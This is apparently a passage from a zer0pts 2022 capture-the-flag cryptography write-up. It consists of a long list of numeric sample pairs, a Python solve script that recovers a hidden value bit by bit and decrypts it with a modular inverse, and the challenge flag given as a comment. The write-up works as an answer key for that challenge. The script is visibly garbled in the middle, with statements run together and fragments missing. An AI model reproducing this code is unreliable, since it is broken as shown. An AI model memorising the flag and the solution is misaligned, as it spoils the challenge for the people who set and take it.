(82409356647183954748198683422184212128218785230389996632722757273347685223296458202528209288822751955981501597443917159414291964759153758751018882035410611836724686857260327871148605267702566763085184299583681042659579950374534641518425863933157292273784045394943637325363728879884192410558789629753515057646, 127452726297140854633943977344185341055295879471863825553572497969118138186094336216463269088294103850407124046787775840324828149999596812286314423700116140000190120997333240581934255678045423527231409988904383911997279280530072699607175128832740184027373226582984315594618448896686759831224822467316794933847), (59611233493767294865241875523285018578076701474875291037731706834102783130367497366904089991011083387887515492253390323775891288461165880963194969438113604899223949737153494350454308064086321567650145539417270826198663132565208510441331902138281570878400072595731357019885600647732321926738273947562608157644, 70157241726529440645397841489302449402881034601267355956945050347542155838719997034454810241751931940985895991769931004432951109310307279734526471568638191966641028466576604323633293557960065610319052552109360186309611648176130095280945168688693570186168845032956654655301306568531047995477329233731229956329)] ''' samples = [(53536597532072001987953947618348278754627989400141287390121235069154684901151037785859748979184936316373631831902809146296283677943962597534604255525506249461823500337285379914808964474967526592872056505342589956015812932016802878587968868709680902283391534727308782525444356458981946446499414654860284614520, 81532346990774035744149246687093739233563562488458025862353616811236592929927520013119734668192646961533496238336005840784718084030439712537516379227930454525398092222002748924190455613561037274262352611931228672169210405437515592633513976475385326451752928613223415909527061004459451687447536250438229313069), (66386312979313505149678133618856326319144553867702702385459153922747133031832397726785477639639118882220170181625651486209470420966794432855675760314140012404627473371964709165160895356332613716904862259760517220361299732389620364471023261156059281453710486335747739945414679129863018461429414603001697857446, 85261174871158793253251170096511329507950686012074175900297285932651459506466746833163233092110500260549112493891581801968326642820433154669204159233728445782735602091499081907681369237358292009672666790493125251265942836555505937199247016288696624486907900686233350997519714072921767900692658314341012697759), (82855910653571630421199586924290064641069898105009142491744415247047599925885867039675967433720877808837246893311086073625722335037176224944857408250783926787144552596936522944040355322283616854035345559542320221492782450762163375201132232198068564031292204827087344481753790175496844488214113399995621073845, 175296969798299274968012557170786092368204173509397227075563908445145281198388897932364983269564267700333186289328071508577281037265568594514552605443434849991432746122699895626574443768655211328254129356662362506444040888980557759944656814565739883517030509048164654789764265904377468502220390524717144235377), (67917841804732892981689897447067140250243688025894008707908785067903516730398892671208420467083015889709569161380034225841358061202903976101599885558281852732919925626113564403638386068192561694670751983174125962185889319180209997089150558713993053147437431514377524625946266322586240693521822157166913253252, 88945357251734933212352813578204370187949945474353763777144766387399403591004152716280959974027281030278966278660429855453466282481306531535008696456716849750359105560256589689405438426151043540639002283687324388798663877159884907300822253960925023688296255695337838887696136134077868905004005388733761580373), (9918102878229228388874703456709588349378129769200711367564918198958852463645060076822096286250103595406606762580385796743618856746481962289054262516759351728219898056054817253724902960895874747322046895326594875565470960140720807985078294650630937681577127061805103991591163481821481426681271204599230185380, 82826113536597745438466005687363774762514680698836237724434795687170677475999743373776958888324279961192900092635793403736543957087705717570584175426488425111499259180875471482211050794545424119388095632420668163381967137097789818040239897003474370113845568028535258944393437759425034717567600281696518871953), (38647603252527852986056757841524867125798897767982344531034814112894042422125890184740916374018986718308171159051726360766848509497563357986388009443288662663268816790699597542637089823398187381224886625292002476565982624482518341777098829293273611491271659781482529095516878330486493753850170264157589438416, 138476228446422586892776260074260849572691619458178888868254473908612520961319842298125975058855978296637345917187724904228605323458967308867483788442088221235878971910361103233086723179579222334058587679030246864138858393651841053946357488958447272497502288654198747265098818037897999131898889586542009950937), (12922793948371249596333839961495120188622006030071522465751878338793053410381612720446171918966667244493291904157802808744874379813003419660789753533345449527388070542963892747439687198664780515313515490945084035984866758354437223206582784772935582049082136715363859748337920403307640846903361021833332273246, 85070989668988318423769076350243749988573922135666558027845497016513511561825772224196335654464772069139283864144466116283948223181426411410690126065180704586874374578437305232415505990631813624180673373180769230119586952253097647501637943006674898068390698652697457330445914017080754067381195969202597654983), (51701453524123685823853237186189368497038297467549719028646687238972549222635628300375346182909664168258392686785026606591555924060936676672346368867560301435038900425899745463394600756485508100552827527922944186849834413179778459676140968494956421892026812687339321993763142060591336096874050090911999068980, 97499580437621235504955638537998177847885171111473693129301729724019726521644187005991238134209149047737502657226546329139736509043052126109113900842163120009252934655129552383127561287458225200533709765229189716376647572182692671878024320843749631341196992905049046275148981868487961104620760469703638931489), (63606056396031463747097593535358131813024723886573785223005230849871488541276385046641768753948733395454300850482855956945502304269996451557538283723998735144021373054820713745434677676831159882841293589885728873727593790166950687563427703302352421956683736286610883874569904871870018352042627786917388299036, 108338653083931371897153187094147035434160799810403104262313137502934110697881106000854750513971052821128355676671449777371457425855343449915488021688758234224358850561938249501868133216361775461258227925887527432901207288890232471732957188104262220713360962297927064953781035643825292899945120843589631670301), (61882351593000421073469028566205790661324055525768790116189817078842441754516769353741833078931220847679953006428418186322789756287281510624875607231660308780385681740327424534040370249270052649400732163625677325049975010796407196280403531462149224024265856670664923794235397963894480618288468315379715003470, 157173285756570107035567394879810114583855676263259883686462144635173379207504457425375137887660165209809094378196183223607716498100505448415719652503280182500288623917412333422439070924223028206016178538058867209887547287223819355822568724894475264193868180911244589267762917665209170118610047883715809265243), (18104666867760850446309860325586065982793938536636445550682886250279280490370489197473982640922834049465916688344408877409039725813152420731350562922947830970511215888675435524487080966121102426974997257627731487442056273967049258672906784950284574417578718984715097114739309173203179505890098315062855981657, 72560161702945573305264278661605157695604768546718301219730355394601875967172019497529510492875524283116947485319724522818156001311755873210626008662510363339536254059189610235032697014226792775159218385534173187842551461291551313912334924879273962435090667312489814378126284305604886992451007885865591780893), (53357724543145768207676668187683058033403406759871687094086725379179160441518786386196523812535796962665272643877829554631905985202478863136292737945895675365558138784310577831880661842974697744594435125909840765288412146607409352428426678455043366326279655738194079965352177411281261596026566035674725735721, 59893212362815907532405947087025784708085266116769057039898147354412925044090153220989042284103404325854687552680012599928332894513456335262880534826337590163838342930824227485064719377091898309302249571067022332968710892445831379772706779065168876516673217263162588898769219718041828688140363769348530713353), (79929903390821367692644953497965456334197200271514348086515671944822306923569389587479278056502064631912551436400038874796089912525859807306028845613675345738316809974393210161335214317317282547424054232420491101188156464876387880719760762503395188783671020161716719019778279586253762103638437939434249381790, 89857961139816757150008815703465681491823059483772115999436833507289874036892061810214015243642525942721901926860851073361846506782557434229802427653862140158941076502840928350267010916993713024528623753675318913255586773545044379200763238273413176817483189541866246342916249955844389812223944865886002984471), (21505582821466200004550013870876525104143447421072525389743751465049894741375581789195097314490198664535226894031552067088637007426445474357150470112902853872292536744022315506584191004779933645154467378082672903973853201180861916991685506552696921837519444835296679259733857836846281378905045037595828160550, 150737832454836838500326536775308771471444851443044830208569933261898479542661796708651643441499189533372883845870769555298280270795638583554823227035816127645191805608376457068032602851025568793255778257480661288339657259055699804926183278881555271631550739092203684549531599188818907975580545140214797851939), (82409356647183954748198683422184212128218785230389996632722757273347685223296458202528209288822751955981501597443917159414291964759153758751018882035410611836724686857260327871148605267702566763085184299583681042659579950374534641518425863933157292273784045394943637325363728879884192410558789629753515057646, 127452726297140854633943977344185341055295879471863825553572497969118138186094336216463269088294103850407124046787775840324828149999596812286314423700116140000190120997333240581934255678045423527231409988904383911997279280530072699607175128832740184027373226582984315594618448896686759831224822467316794933847), (59611233493767294865241875523285018578076701474875291037731706834102783130367497366904089991011083387887515492253390323775891288461165880963194969438113604899223949737153494350454308064086321567650145539417270826198663132565208510441331902138281570878400072595731357019885600647732321926738273947562608157644, 70157241726529440645397841489302449402881034601267355956945050347542155838719997034454810241751931940985895991769931004432951109310307279734526471568638191966641028466576604323633293557960065610319052552109360186309611648176130095280945168688693570186168845032956654655301306568531047995477329233731229956329)] def calc_distribution(k): dist = [set() for i in range(1 << k)] for a in range(1<> pos) & ((1 << width) - 1) for i in samples]) def solve(samples, k): guess = 0 step = 1 for i in range(1000 // step): window = slide_window(samples, i * step, k) x = max([i for i in range(len(dist)) if all(j in dist[i] for j in window)]) guess |= (x & ((1 << step) - 1)) << (i * step) return guess def handle_samples(samples): s0 = [i if not i & 1 else i + N for i, N in samples] s1 = [i if i & 1 else i + N for i, N in samples] return (s0, s1) K = 12 dist = calc_distribution(K) s = handle_samples(samples) res = [solve(i, K) for i in s] for ct in res: print(long_to_bytes(pow(ct, inverse(65537, P - 1), P))) # zer0pts{hav3_y0u_unwittin91y_acquir3d_th3_k3y_t0_th3_d00r_t0_th3_N3w_W0r1d?} 

# Others

https://tl2cents.github.io/2022/03/22/Crypto-writeup-for-zer0pts-2022/